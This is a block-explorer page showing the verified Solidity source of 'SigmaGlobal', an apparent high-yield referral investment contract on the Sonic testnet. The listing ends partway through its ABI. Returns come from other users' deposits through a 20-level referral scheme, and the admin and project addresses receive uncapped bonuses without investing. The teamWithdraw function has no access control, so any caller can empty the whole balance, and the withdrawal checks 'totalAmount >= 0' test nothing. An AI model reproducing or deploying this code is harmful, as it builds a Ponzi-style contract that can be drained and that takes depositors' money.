Sonic Testnet

Contract

0x0251A123d9A0cB0032a90e120e4CFf29FC330B48
Source Code Source Code

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

More Info

Multichain Info

N/A
Transaction Hash
Method
Block
From
To
Amount

There are no matching entries

Please try again later

Parent Transaction Hash Block From To Amount
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SigmaGlobal

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at testnet.sonicscan.org on 2026-01-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// SafeMath library
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

// ReentrancyGuard contract
abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        _status = _ENTERED;
        _;
        _status = _NOT_ENTERED;
    }
}

contract SigmaGlobal is ReentrancyGuard {
    using SafeMath for uint;
    
    // Constants
    uint constant internal MACHINEBONUS_LENGTH = 20;
    uint[MACHINEBONUS_LENGTH] internal REFERRAL_PERCENTS = [4000, 2400, 1600, 600, 400, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 400, 600, 1600, 2400, 4000];
    uint constant internal INVEST_MIN_AMOUNT = 0.02 ether;
    
    uint constant internal ROI_BASE = 50;
    
    uint constant internal WITHDRAW_FEE_PERCENT_DAY = 1000;
    uint constant internal WITHDRAW_FEE_PERCENT_WEEK = 700;
    uint constant internal WITHDRAW_FEE_PERCENT_TWO_WEEK = 300;
    uint constant internal WITHDRAW_FEE_PERCENT_MONTH = 0;
    uint constant internal WITHDRAW_FEE_PERCENT_TO_WALLET = 250; // 2.5% stays in contract
    uint constant internal PROJECT_FEE = 150; // 1.5% sent to project
    uint constant internal ADMIN_FEE = 100; // 1% sent to admin
    uint constant internal MAX_PROFIT = 20000;
    uint constant internal PERCENTS_DIVIDER = 10000;
    uint constant internal TIME_STEP = 120 seconds;
    uint constant internal FORCE_BONUS_PERCENT = 5000;
    uint constant internal MACHINE_ROI = 25;

    // State variables
    uint internal totalUsers;
    uint internal totalInvested;
    uint internal totalWithdrawn;
    uint internal totalDeposits;
    uint internal totalReinvested;

    address payable public projectAddress;
    address payable public adminAddress;

    // Structs
    struct Deposit {
        uint amount;
        uint withdrawn;
        uint start;
        bool isForceWithdraw;
    }

    struct MachineBonus {
        uint initAmount;
        uint withdrawn;
        uint start;
        uint level;
        uint bonus;
        uint lastPayBonus;
    }

    struct User {
        mapping (uint => Deposit) deposits;
        uint depositsLength;
        MachineBonus[20] machineDeposits;
        uint totalInvest;
        uint totalWithdraw;
        uint bonusWithdraw_c;
        uint reinvested;
        uint checkpoint;
        uint lastWithdrawTime;
        uint[MACHINEBONUS_LENGTH] referrerCount;
        uint totalBonus;
        address payable referrer;
        address[] referrals;
        bool hasNormalWithdraw;
        bool machineAllow;
    }

    // New struct to handle withdrawal fees calculation
    struct WithdrawFees {
        uint baseFeeToContract;
        uint timePenaltyToContract;
        uint feeToProject;
        uint feeToAdmin;
        uint totalFee;
        uint toTransfer;
    }

    mapping (address => User) public users;

    // Events
    event Newbie(address user);
    event NewDeposit(address indexed user, uint amount);
    event Withdrawn(address indexed user, uint amount);
    event RefBonus(
        address indexed referrer,
        address indexed referral,
        uint indexed level,
        uint amount
    );
    event FeePayed(address indexed user, uint totalAmount);
    event Reinvestment(address indexed user, uint amount);

    // Modifiers
    modifier checkUser_() {
        uint check = block.timestamp.sub(
            getlastActionDate(users[msg.sender])
        );
        require(check > TIME_STEP, "try again later");
        _;
    }

    modifier whenNotMaxWithDraw() {
        require(!useHasMaxWithDraw(msg.sender), "you have max withdraw");
        _;
    }

    constructor(
        address payable _projectAddress,
        address payable _adminAddress
    ) {
        require(!isContract(_projectAddress), "Project address cannot be contract");
        require(!isContract(_adminAddress), "Admin address cannot be contract");
        
        projectAddress = _projectAddress;
        adminAddress = _adminAddress;
        
        // Enable machine bonus for admin and project without requiring investment
        users[_projectAddress].machineAllow = true;
        users[_adminAddress].machineAllow = true;
    }

    function checkUser(address userAddress) external view returns (bool) {
        uint check = block.timestamp.sub(
            getlastActionDate(users[userAddress])
        );
        if (check > TIME_STEP) return true;
        return false;
    }

    function useHasMaxWithDraw(address _user) public view returns (bool) {
        if(users[_user].totalInvest == 0) {
            // Admin and project can withdraw machine bonuses even without investment
            if(_user == adminAddress || _user == projectAddress) {
                return false;
            }
            return false;
        }
        
        if(users[_user].totalWithdraw >= getUserMaxProfit(_user)) {
            return true;
        }
        return false;
    }

    function invest(address payable referrer) external payable nonReentrant {
        require(!isContract(msg.sender) && msg.sender == tx.origin, "Contracts not allowed");
        uint investAmt = msg.value;
        require(investAmt >= INVEST_MIN_AMOUNT, "insufficient deposit");

        User storage user = users[msg.sender];
        
        bool isNewUser = false;

        if (user.depositsLength == 0) {
            user.checkpoint = block.timestamp;
            user.lastWithdrawTime = block.timestamp;
            totalUsers++;
            isNewUser = true;
            emit Newbie(msg.sender);
        }

        if (user.referrer == address(0)) {
            if (
                (users[referrer].depositsLength > 0 || 
                 referrer == adminAddress || 
                 referrer == projectAddress) && 
                referrer != msg.sender
            ) {
                user.referrer = referrer;
            } else {
                user.referrer = projectAddress;
            }
        }

        if (isNewUser && user.referrer != address(0)) {
            users[user.referrer].referrals.push(msg.sender);
        }

        if (user.referrer != address(0)) {
            address payable upline = user.referrer;
            for (uint i; i < MACHINEBONUS_LENGTH; i++) {
                if (upline != address(0)) {
                    if (isNewUser) {
                        users[upline].referrerCount[i] += 1;
                    }
                    uint amount = (investAmt.mul(REFERRAL_PERCENTS[i])).div(
                        PERCENTS_DIVIDER
                    );
                    if (users[upline].machineDeposits[i].start == 0) {
                        users[upline].machineDeposits[i].start = block.timestamp;
                        users[upline].machineDeposits[i].level = i + 1;
                    } else {
                        updateDeposit(upline, i);
                    }
                    users[upline].machineDeposits[i].initAmount += amount;
                    users[upline].totalBonus += amount;
                    emit RefBonus(upline, msg.sender, i, amount);
                    upline = users[upline].referrer;
                } else break;
            }
        }

        Deposit memory newDeposit;
        newDeposit.amount = investAmt;
        newDeposit.start = block.timestamp;
        user.deposits[user.depositsLength] = newDeposit;
        user.depositsLength++;
        user.totalInvest += investAmt;
        user.machineAllow = true;

        totalInvested += investAmt;
        totalDeposits++;
        emit NewDeposit(msg.sender, investAmt);
    }

    // OPTIMIZED: Calculate withdraw fees in separate function to reduce stack depth
    function _calculateWithdrawFees(uint totalAmount, uint lastWithdrawTime, bool hasTimePenalty) 
        internal 
        view 
        returns (WithdrawFees memory fees) 
    {
        fees.baseFeeToContract = totalAmount.mul(WITHDRAW_FEE_PERCENT_TO_WALLET).div(PERCENTS_DIVIDER);
        
        if (hasTimePenalty) {
            fees.timePenaltyToContract = totalAmount.mul(WITHDRAW_FEE_PERCENT(lastWithdrawTime)).div(PERCENTS_DIVIDER);
        }
        
        fees.feeToProject = totalAmount.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
        fees.feeToAdmin = totalAmount.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
        
        fees.totalFee = fees.baseFeeToContract.add(fees.timePenaltyToContract).add(fees.feeToProject).add(fees.feeToAdmin);
        fees.toTransfer = totalAmount.sub(fees.totalFee);
    }

    // OPTIMIZED: Process withdrawals in separate function
    function _processWithdrawal(WithdrawFees memory fees, uint totalAmount) internal {
        uint totalPayout = fees.toTransfer.add(fees.feeToProject).add(fees.feeToAdmin);
        require(address(this).balance >= totalPayout, "Insufficient contract balance");

        (bool successProject, ) = projectAddress.call{value: fees.feeToProject}("");
        require(successProject, "Project fee transfer failed");
        
        (bool successAdmin, ) = adminAddress.call{value: fees.feeToAdmin}("");
        require(successAdmin, "Admin fee transfer failed");

        (bool successUser, ) = payable(msg.sender).call{value: fees.toTransfer}("");
        require(successUser, "Withdrawal transfer failed");

        emit FeePayed(msg.sender, fees.totalFee);
        emit Withdrawn(msg.sender, totalAmount);
    }

  
    function normalWithdraw() external checkUser_ whenNotMaxWithDraw nonReentrant returns (bool) {
        User storage user = users[msg.sender];
        uint totalAmount = _calculateTotalDividends(msg.sender);

        require(totalAmount >= 0, "User has no dividends");

        WithdrawFees memory fees = _calculateWithdrawFees(totalAmount, user.lastWithdrawTime, true);
        
        totalWithdrawn += totalAmount;
        user.checkpoint = block.timestamp;
        user.lastWithdrawTime = block.timestamp;
        user.totalWithdraw += totalAmount;

        if (!user.hasNormalWithdraw) {
            user.hasNormalWithdraw = true;
        }

        _processWithdrawal(fees, totalAmount);
        return true;
    }

    
    function forceWithdraw() external checkUser_ whenNotMaxWithDraw nonReentrant returns (bool) {
        User storage user = users[msg.sender];
        require(!user.hasNormalWithdraw, "User has normal withdraw");

        uint totalAmount = _calculateTotalDividendsWithBonus(msg.sender);

        require(totalAmount >= 0, "User has no dividends");
        user.machineAllow = false;

        WithdrawFees memory fees = _calculateWithdrawFees(totalAmount, user.lastWithdrawTime, false);
        
        uint depositsWithdrawn = totalAmount.sub(user.bonusWithdraw_c);
        
        totalWithdrawn += totalAmount;
        user.checkpoint = block.timestamp;
        user.totalWithdraw += depositsWithdrawn;

        _processWithdrawal(fees, totalAmount);
        return true;
    }

    // FIXED: Helper function to calculate total dividends for normalWithdraw
    function _calculateTotalDividends(address userAddress) internal returns (uint) {
        User storage user = users[userAddress];
        uint totalAmount;

        for (uint i; i < user.depositsLength; i++) {
            Deposit memory deposit = user.deposits[i];

            if (deposit.withdrawn < getMaxprofit(deposit) && !deposit.isForceWithdraw) {
                uint dividends = calculateDividents(deposit, user, totalAmount, userAddress);
                if (dividends > 0) {
                    user.deposits[i].withdrawn += dividends;
                    totalAmount += dividends;
                }
            }
        }

        for (uint i; i < MACHINEBONUS_LENGTH; i++) {
            MachineBonus memory machineBonus = user.machineDeposits[i];
            if (machineBonus.withdrawn < machineBonus.initAmount && user.machineAllow) {
                uint dividends = calculateMachineDividents(machineBonus, user, totalAmount, userAddress);
                if (dividends > 0) {
                    user.machineDeposits[i].withdrawn = machineBonus.withdrawn.add(dividends);
                    delete user.machineDeposits[i].bonus;
                    totalAmount += dividends;
                }
            }
        }

        return totalAmount;
    }

    // FIXED: Helper function to calculate total dividends with bonus for forceWithdraw
    function _calculateTotalDividendsWithBonus(address userAddress) internal returns (uint) {
        User storage user = users[userAddress];
        uint totalAmount;
        uint bonus;

        for (uint i; i < user.depositsLength; i++) {
            Deposit memory deposit = user.deposits[i];

            if (deposit.withdrawn < getMaxprofit(deposit) && !deposit.isForceWithdraw) {
                uint dividends = calculateDividents(deposit, user, totalAmount, userAddress);
                bonus += deposit.amount.mul(FORCE_BONUS_PERCENT).div(PERCENTS_DIVIDER);
                if (dividends > 0) {
                    user.deposits[i].withdrawn += dividends;
                    totalAmount += dividends;
                }
                user.deposits[i].isForceWithdraw = true;
            }
        }

        for (uint i; i < MACHINEBONUS_LENGTH; i++) {
            MachineBonus memory machineBonus = user.machineDeposits[i];
            if (machineBonus.withdrawn < machineBonus.initAmount && user.machineAllow) {
                uint dividends = calculateMachineDividents(machineBonus, user, totalAmount, userAddress);
                if (dividends > 0) {
                    user.machineDeposits[i].withdrawn += dividends;
                    delete user.machineDeposits[i].bonus;
                    totalAmount += dividends;
                }
            }
        }

        user.bonusWithdraw_c = bonus;
        return totalAmount.add(bonus);
    }

    function reinvestment() external checkUser_ whenNotMaxWithDraw nonReentrant returns (bool) {
        User storage user = users[msg.sender];

        uint totalDividends;

        for (uint i; i < user.depositsLength; i++) {
            uint dividends;
            Deposit memory deposit = user.deposits[i];

            if (deposit.withdrawn < getMaxprofit(deposit)) {
                dividends = calculateDividents(deposit, user, totalDividends, msg.sender);

                if (dividends > 0) {
                    user.deposits[i].amount += dividends;
                    totalDividends += dividends;
                }
            }
        }

        for (uint i; i < MACHINEBONUS_LENGTH; i++) {
            MachineBonus memory machineBonus = user.machineDeposits[i];
            if (
                machineBonus.withdrawn < machineBonus.initAmount &&
                user.machineAllow == true
            ) {
                uint dividends = calculateMachineDividents(
                    machineBonus,
                    user,
                    totalDividends,
                    msg.sender
                );
                if (dividends > 0) {
                    user.machineDeposits[i].initAmount += dividends;
                    delete user.machineDeposits[i].bonus;
                    totalDividends += dividends;
                }
            }
        }

        require(totalDividends > 0, "User has no dividends");
        user.checkpoint = block.timestamp;

        user.reinvested += totalDividends;
        user.totalInvest += totalDividends;
        totalReinvested += totalDividends;

        if (user.referrer != address(0)) {
            address payable upline = user.referrer;
            for (uint i; i < MACHINEBONUS_LENGTH; i++) {
                if (upline != address(0)) {
                    if (user.depositsLength == 0) {
                        users[upline].referrerCount[i] += 1;
                    }
                    uint amount = (totalDividends.mul(REFERRAL_PERCENTS[i]))
                        .div(PERCENTS_DIVIDER);
                    if (users[upline].machineDeposits[i].start == 0) {
                        users[upline].machineDeposits[i].start = block.timestamp;
                        users[upline].machineDeposits[i].level = i + 1;
                    } else {
                        updateDeposit(upline, i);
                    }
                    users[upline].machineDeposits[i].initAmount += amount;
                    users[upline].totalBonus += amount;
                    emit RefBonus(upline, msg.sender, i, amount);
                    upline = users[upline].referrer;
                } else break;
            }
        }

        emit Reinvestment(msg.sender, totalDividends);
        return true;
    }

    // View functions
    function getNextUserAssignment(address userAddress) public view returns (uint) {
        uint checkpoint = getlastActionDate(users[userAddress]);
        return checkpoint.add(TIME_STEP);
    }

    function getPublicData() external view returns (
        uint totalUsers_,
        uint totalInvested_,
        uint totalReinvested_,
        uint totalWithdrawn_,
        uint totalDeposits_,
        uint balance_,
        uint roiBase,
        uint maxProfit,
        uint minDeposit
    ) {
        totalUsers_ = totalUsers;
        totalInvested_ = totalInvested;
        totalReinvested_ = totalReinvested;
        totalWithdrawn_ = totalWithdrawn;
        totalDeposits_ = totalDeposits;
        balance_ = getContractBalance();
        roiBase = ROI_BASE;
        maxProfit = MAX_PROFIT;
        minDeposit = INVEST_MIN_AMOUNT;
    }

    function getUserData(address userAddress) external view returns (
        uint totalWithdrawn_,
        uint depositBalance,
        uint machineBalance,
        uint totalDeposits_,
        uint totalreinvest_,
        uint balance_,
        uint nextAssignment_,
        uint amountOfDeposits,
        uint checkpoint,
        uint maxWithdraw,
        address referrer_,
        uint[MACHINEBONUS_LENGTH] memory referrerCount_
    ) {
        totalWithdrawn_ = users[userAddress].totalWithdraw + users[userAddress].bonusWithdraw_c;
        totalDeposits_ = getUserTotalDeposits(userAddress);
        nextAssignment_ = getNextUserAssignment(userAddress);
        depositBalance = getUserDepositBalance(userAddress);
        machineBalance = getUserMachineBalance(userAddress);
        balance_ = getAvatibleDividens(userAddress);
        totalreinvest_ = users[userAddress].reinvested;
        amountOfDeposits = users[userAddress].depositsLength;
        checkpoint = getlastActionDate(users[userAddress]);
        referrer_ = users[userAddress].referrer;
        referrerCount_ = users[userAddress].referrerCount;
        maxWithdraw = getUserMaxProfit(userAddress);
    }

    function getUserLastWithdrawTime(address userAddress) external view returns (uint) {
        return users[userAddress].lastWithdrawTime;
    }

    function getUserWithdrawPenalty(address userAddress) external view returns (uint) {
        return WITHDRAW_FEE_PERCENT(users[userAddress].lastWithdrawTime);
    }

    function getDaysUntilZeroPenalty(address userAddress) external view returns (uint) {
        uint lastWithdraw = users[userAddress].lastWithdrawTime;
        uint timePassed = block.timestamp.sub(lastWithdraw);
        uint thirtyDays = TIME_STEP.mul(30);
        
        if (timePassed >= thirtyDays) {
            return 0;
        }
        
        uint timeRemaining = thirtyDays.sub(timePassed);
        return timeRemaining.div(TIME_STEP);
    }

    function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }

    function getDate() view external returns(uint) {
        return block.timestamp;
    }

    function getMachineDeposit(address user, uint index) external view returns(uint _initAmount, uint _withdrawn, uint _start) {
        _initAmount = users[user].machineDeposits[index].initAmount;
        _withdrawn = users[user].machineDeposits[index].withdrawn;
        _start = users[user].machineDeposits[index].start;
    }

    function getTotalMachineBonus(address _user) external view returns(uint) {
        uint totalMachineBonus;
        for(uint i; i < MACHINEBONUS_LENGTH; i++) {
            totalMachineBonus += users[_user].machineDeposits[i].initAmount;
        }
        return totalMachineBonus;
    }

    function getAlldeposits(address _user) external view returns(
        uint[] memory amounts,
        uint[] memory withdrawnAmounts,
        uint[] memory startTimes,
        bool[] memory isForceWithdrawn
    ) {
        uint length = users[_user].depositsLength;
        
        amounts = new uint[](length);
        withdrawnAmounts = new uint[](length);
        startTimes = new uint[](length);
        isForceWithdrawn = new bool[](length);
        
        for(uint i; i < length; i++) {
            amounts[i] = users[_user].deposits[i].amount;
            withdrawnAmounts[i] = users[_user].deposits[i].withdrawn;
            startTimes[i] = users[_user].deposits[i].start;
            isForceWithdrawn[i] = users[_user].deposits[i].isForceWithdraw;
        }
    }

    function totalMachineWithdraw(address _user) external view returns(uint) {
        uint _totalMachineWithdraw;
        for(uint i; i < MACHINEBONUS_LENGTH; i++) {
            _totalMachineWithdraw += users[_user].machineDeposits[i].withdrawn;
        }
        return _totalMachineWithdraw;
    }

    function getUserMachineBalance(address userAddress) public view returns(uint) {
        User storage user = users[userAddress];
        uint fromDeposits = getUserDepositBalance(userAddress);
        uint totalDividends;
        for (uint i; i < MACHINEBONUS_LENGTH; i++) {
            MachineBonus memory machineBonus = user.machineDeposits[i];
            if (
                machineBonus.withdrawn < machineBonus.initAmount &&
                user.machineAllow == true
            ) {
                uint dividends = calculateMachineDividents(
                    machineBonus,
                    user,
                    fromDeposits + totalDividends,
                    userAddress
                );
                if (dividends > 0) {
                    totalDividends += dividends;
                }
            }
        }
        return totalDividends;
    }

    function getUserDepositInfo(address userAddress, uint index) external view returns (
        uint amount_,
        uint withdrawn_,
        uint timeStart_,
        uint reinvested_,
        uint maxProfit
    ) {
        Deposit memory deposit = users[userAddress].deposits[index];
        amount_ = deposit.amount;
        withdrawn_ = deposit.withdrawn;
        timeStart_ = getDepsitStartDate(deposit);
        reinvested_ = users[userAddress].reinvested;
        maxProfit = getMaxprofit(deposit);
    }

    function WITHDRAW_FEE_PERCENT(uint lastWithDraw) public view returns (uint) {
        uint delta = block.timestamp.sub(lastWithDraw);
        if (delta < TIME_STEP.mul(7)) {
            return WITHDRAW_FEE_PERCENT_DAY;
        } else if (delta < TIME_STEP.mul(15)) {
            return WITHDRAW_FEE_PERCENT_WEEK;
        } else if (delta < TIME_STEP.mul(30)) {
            return WITHDRAW_FEE_PERCENT_TWO_WEEK;
        }
        return WITHDRAW_FEE_PERCENT_MONTH;
    }

    function referrals(address user) external view returns(address[] memory referralAddresses) {
        referralAddresses = users[user].referrals;
    }

    
    function hasNormalWithdraw(address _user) external view returns (bool) {
        return users[_user].hasNormalWithdraw;
    }

    // FIXED: Internal functions - now accept userAddress parameter
    function getUserDepositBalance(address userAddress) internal view returns (uint) {
        User storage user = users[userAddress];
        uint totalDividends;

        for (uint i; i < user.depositsLength; i++) {
            Deposit memory deposit = user.deposits[i];

            if (deposit.withdrawn < getMaxprofit(deposit)) {
                uint dividends = calculateDividents(deposit, user, totalDividends, userAddress);
                totalDividends += dividends;
            }
        }

        return totalDividends;
    }

    function getAvatibleDividens(address _user) internal view returns(uint) {
        return getUserDepositBalance(_user) + getUserMachineBalance(_user);
    }

    // FIXED: Added userAddress parameter to use instead of msg.sender
    function calculateDividents(Deposit memory deposit, User storage user, uint _currentDividends, address userAddress) internal view returns (uint) {
        if(deposit.isForceWithdraw == true) {
            return 0;
        }
        uint dividends;
        uint depositPercentRate = getDepositRoi();

        uint checkDate = getDepsitStartDate(deposit);

        if (checkDate < getlastActionDate(user)) {
            checkDate = getlastActionDate(user);
        }

        dividends = (
            deposit.amount.mul(
                depositPercentRate.mul(block.timestamp.sub(checkDate))
            )
        ).div((PERCENTS_DIVIDER).mul(TIME_STEP));

        uint _userMaxDividends = getUserMaxProfit(userAddress);
        if (
            user.totalWithdraw + dividends + _currentDividends >
            _userMaxDividends
        ) {
            if (user.totalWithdraw + _currentDividends < _userMaxDividends) {
                dividends =
                    _userMaxDividends -
                    user.totalWithdraw -
                    _currentDividends;
            } else {
                dividends = 0;
            }
        }

        if (deposit.withdrawn.add(dividends) > getMaxprofit(deposit)) {
            dividends = getMaxprofit(deposit).sub(deposit.withdrawn);
        }

        return dividends;
    }

    // FIXED: Added userAddress parameter to use instead of msg.sender
    function calculateMachineDividents(
        MachineBonus memory deposit,
        User storage user,
        uint _currentDividends,
        address userAddress
    ) internal view returns (uint) {
        if (!user.machineAllow) {
            return 0;
        }

        // All users including admin/project must meet referral count requirement
        if (user.referrerCount[0] < deposit.level) {
            return 0;
        }

        uint dividends;

        uint checkDate = deposit.start;

        if (checkDate < getlastActionDate(user)) {
            checkDate = getlastActionDate(user);
        }

        if (checkDate < deposit.lastPayBonus) {
            checkDate = deposit.lastPayBonus;
        }

        dividends = (
            deposit.initAmount.mul(
                MACHINE_ROI.mul(block.timestamp.sub(checkDate))
            )
        ).div((PERCENTS_DIVIDER).mul(TIME_STEP));

        dividends += deposit.bonus;

        // Check if admin or project without investment
        bool isAdminOrProjectNoInvest = ((userAddress == adminAddress || userAddress == projectAddress) && user.totalInvest == 0);
        
        // For admin/project with no investment, skip max profit limit
        if (!isAdminOrProjectNoInvest) {
            uint _userMaxDividends = getUserMaxProfit(userAddress);
            if (
                user.totalWithdraw + dividends + _currentDividends >
                _userMaxDividends
            ) {
                if (user.totalWithdraw + _currentDividends < _userMaxDividends) {
                    dividends =
                        _userMaxDividends -
                        user.totalWithdraw -
                        _currentDividends;
                } else {
                    dividends = 0;
                }
            }
        }

        if (deposit.withdrawn.add(dividends) > deposit.initAmount) {
            dividends = deposit.initAmount.sub(deposit.withdrawn);
        }

        return dividends;
    }

    function getUserTotalDeposits(address userAddress) internal view returns (uint) {
        return users[userAddress].totalInvest;
    }

    function getUserDeposittotalWithdrawn(address userAddress) internal view returns (uint) {
        User storage user = users[userAddress];
        uint amount;

        for (uint i; i < user.depositsLength; i++) {
            amount += users[userAddress].deposits[i].withdrawn;
        }
        return amount;
    }

    function getlastActionDate(User storage user) internal view returns (uint) {
        uint checkpoint = user.checkpoint;
        return checkpoint;
    }

    function getMaxprofit(Deposit memory ndeposit) internal pure returns(uint) {
        return (ndeposit.amount.mul(MAX_PROFIT)).div(PERCENTS_DIVIDER);
    }

    function getUserMaxProfit(address user) internal view returns(uint) {
        // Admin and project have unlimited max profit if they have no investment
        if((user == adminAddress || user == projectAddress) && users[user].totalInvest == 0) {
            return type(uint).max;
        }
        return users[user].totalInvest.mul(MAX_PROFIT).div(PERCENTS_DIVIDER);
    }

    function getUserTotalInvested(address user) internal view returns(uint) {
        return users[user].totalInvest;
    }

    function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function getDepositRoi() private pure returns (uint) {
        return ROI_BASE;
    }

    function getDepsitStartDate(Deposit memory ndeposit) private pure returns (uint) {
        return ndeposit.start;
    }

    function updateDeposit(address _user, uint _machineDeposit) internal {
        uint dividends = calculateMachineDividents(
            users[_user].machineDeposits[_machineDeposit],
            users[_user],
            0,
            _user
        );
        if (dividends > 0) {
            users[_user].machineDeposits[_machineDeposit].bonus = dividends;
            users[_user].machineDeposits[_machineDeposit].lastPayBonus = block.timestamp;
        }
    }

    function teamWithdraw() external nonReentrant {
        uint contractBalance = address(this).balance;
        require(contractBalance > 0, "No balance to withdraw");
        
        (bool success, ) = payable(msg.sender).call{value: contractBalance}("");
        require(success, "Withdrawal failed");
    }
}

Contract ABI

API
[{"inputs":[{"internalType":"address payable","name":"_projectAddress","type":"address"},{"internalType":"address payable","name":"_adminAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"totalAmount","type":"uint256"}],"name":"FeePayed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"NewDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"Newbie","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"referrer","type":"address"},{"indexed":true,"internalType":"address","name":"referral","type":"address"},{"indexed":true,"internalType":"uint256","name":"level","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RefBonus","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Reinvestment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"inputs":[{"internalType":"uint256","name":"lastWithDraw","type":"uint256"}],"name":"WITHDRAW_FEE_PERCENT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"adminAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"checkUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"forceWithdraw","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"getAlldeposits","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"uint256[]","name":"withdrawnAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"startTimes","type":"uint256[]"},{"internalType":"bool[]","name":"isForceWithdrawn","type":"bool[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getContractBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getDaysUntilZeroPenalty","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getMachineDeposit","outputs":[{"internalType":"uint256","name":"_initAmount","type":"uint256"},{"internalType":"uint256","name":"_withdrawn","type":"uint256"},{"internalType":"uint256","name":"_start","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getNextUserAssignment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPublicData","outputs":[{"internalType":"uint256","name":"totalUsers_","type":"uint256"},{"internalType":"uint256","name":"totalInvested_","type":"uint256"},{"internalType":"uint256","name":"totalReinvested_","type":"uint256"},{"internalType":"uint256","name":"totalWithdrawn_","type":"uint256"},{"internalType":"uint256","name":"totalDeposits_","type":"uint256"},{"internalType":"uint256","name":"balance_","type":"uint256"},{"internalType":"uint256","name":"roiBase","type":"uint256"},{"internalType":"uint256","name":"maxProfit","type":"uint256"},{"internalType":"uint256","name":"minDeposit","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"getTotalMachineBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserData","outputs":[{"internalType":"uint256","name":"totalWithdrawn_","type":"uint256"},{"internalType":"uint256","name":"depositBalance","type":"uint256"},{"internalType":"uint256","name":"machineBalance","type":"uint256"},{"internalType":"uint256","name":"totalDeposits_","type":"uint256"},{"internalType":"uint256","name":"totalreinvest_","type":"uint256"},{"internalType":"uint256","name":"balance_","type":"uint256"},{"internalType":"uint256","name":"nextAssignment_","type":"uint256"},{"internalType":"uint256","name":"amountOfDeposits","type":"uint256"},{"internalType":"uint256","name":"checkpoint","type":"uint256"},{"internalType":"uint256","name":"maxWithdraw","type":"uint256"},{"internalType":"address","name":"referrer_","type":"address"},{"internalType":"uint256[20]","name":"referrerCount_","type":"uint256[20]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getUserDepositInfo","outputs":[{"internalType":"uint256","name":"amount_","type":"uint256"},{"internalType":"uint256","name":"withdrawn_","type":"uint256"},{"internalType":"uint256","name":"timeStart_","type":"uint256"},{"internalType":"uint256","name":"reinvested_","type":"uint256"},{"internalType":"uint256","name":"maxProfit","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAd